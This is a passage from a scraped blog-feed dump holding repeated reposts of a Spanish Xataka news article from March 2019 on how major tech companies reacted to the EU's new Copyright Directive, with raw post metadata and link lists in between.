Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. 

Twitter

  

Otra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter.  
Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio.  

“Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione”. 

Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online.   

“Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE”. 

Github
Github, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente.  

EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj 
— GitHub Policy (@GitHubPolicy) 21 de marzo de 2019 
https://platform.twitter.com/widgets.js 
A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: “Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.”. 
Menéame
Pasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo.  

¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW 
— Daniel Seijo (@dseijo) 27 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets.  
Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: 


“La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace”. Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia.  


“Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa.” Un punto que deja margen para la interpretación de lo que se considera “muy breve”.  


¿Y ahora qué?

  

Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. 
También te recomendamos
 

         
            Estas son todas las muertes que habrías sufrido sin tecnología 
        
     

         
            Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? 
        
     

         
            El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright 
        
     
 –   La noticia 
        
         Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE  
        
       fue publicada originalmente en 
        
         Xataka  
        
              por  
        Enrique Pérez 
        
       .</text><languageCode>es</languageCode><locationCode>gb</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:ecdYMiMMAMM</link></links><tags><tag>News</tag><tag>IFTTT</tag><tag>xataka</tag></tags><images /><indexedAt>2019-03-27T18:41:58Z</indexedAt><publishedAt>2019-03-27T18:09:08Z</publishedAt><reindexedAt>2019-03-27T18:41:58Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8022782216872715981</blogId><blogName>JanyoBytes</blogName><blogUrl>https://janyobytes.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>4016371278930762647</id><author>renzotorrescabrera</author><url>http://www.renzotorrescabrera.tech/2019/03/esta-ha-sido-la-reaccion-de-las-grandes.html</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá. Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, "convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva". A lo que concluye que "a todos los efectos es como si los subieran ellos personalmente". Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura. En XatakaSe aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?GoogleGoogle ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara". La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: "La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas". YoutubeYoutube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley. Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote ⬇️ pic.twitter.com/ETHEOYwr7w — YouTube Creators (@YTCreators) 26 de marzo de 2019Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. "Es el principio", apunta. WikipediaPara protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde "esperan ver repercusiones directas en todas las actividades online". You, the Internet user, have lost a huge battle today in Internet parliament. The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people. This is not about helping artists, it is about empowering monopolistic practices. — Jimmy Wales (@jimmy_wales) 26 de marzo de 2019Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables. Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las "seguras" desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción. Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público. Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. "Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años", explica Wikimedia. RedditReddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos. Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final. Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso. Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. MozillaLa fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida. Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea. Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley. Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado: No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. TwitterOtra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter. Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio. "Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione". Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online. "Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE". GithubGithub, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente. EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj — GitHub Policy (@GitHubPolicy) 21 de marzo de 2019A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: "Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.". MenéamePasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo. ¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW — Daniel Seijo (@dseijo) 27 de marzo de 2019Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets. Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: "La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace". Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia. "Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa." Un punto que deja margen para la interpretación de lo que se considera "muy breve". ¿Y ahora qué?Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. También te recomendamosEstas son todas las muertes que habrías sufrido sin tecnología Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright - La noticia Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE fue publicada originalmente en Xataka por Enrique Pérez .       Fuente: Xataka Enlace: Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</text><languageCode>es</languageCode><locationCode>es</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:-8pzPrROktU:ecdYMiMMAMM</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue</link></links><tags /><images /><indexedAt>2019-03-27T18:36:25Z</indexedAt><publishedAt>2019-03-27T18:09:00Z</publishedAt><reindexedAt>2019-03-27T18:36:25Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1647156534176225892</blogId><blogName>Blog de Renzo Torres Cabrera</blogName><blogUrl>http://www.renzotorrescabrera.tech</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>7234895741323623743</id><author>Luis Hernandez</author><url>http://midiariotec.blogspot.com/2019/03/esta-ha-sido-la-reaccion-de-las-grandes.html</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá. Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, "convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva". A lo que concluye que "a todos los efectos es como si los subieran ellos personalmente". Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura. En XatakaSe aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?GoogleGoogle ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara". La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: "La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas". YoutubeYoutube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley. Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote ⬇️ pic.twitter.com/ETHEOYwr7w — YouTube Creators (@YTCreators) 26 de marzo de 2019Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. "Es el principio", apunta. WikipediaPara protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde "esperan ver repercusiones directas en todas las actividades online". You, the Internet user, have lost a huge battle today in Internet parliament. The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people. This is not about helping artists, it is about empowering monopolistic practices. — Jimmy Wales (@jimmy_wales) 26 de marzo de 2019Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables. Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las "seguras" desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción. Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público. Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. "Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años", explica Wikimedia. RedditReddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos. Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final. Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso. Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 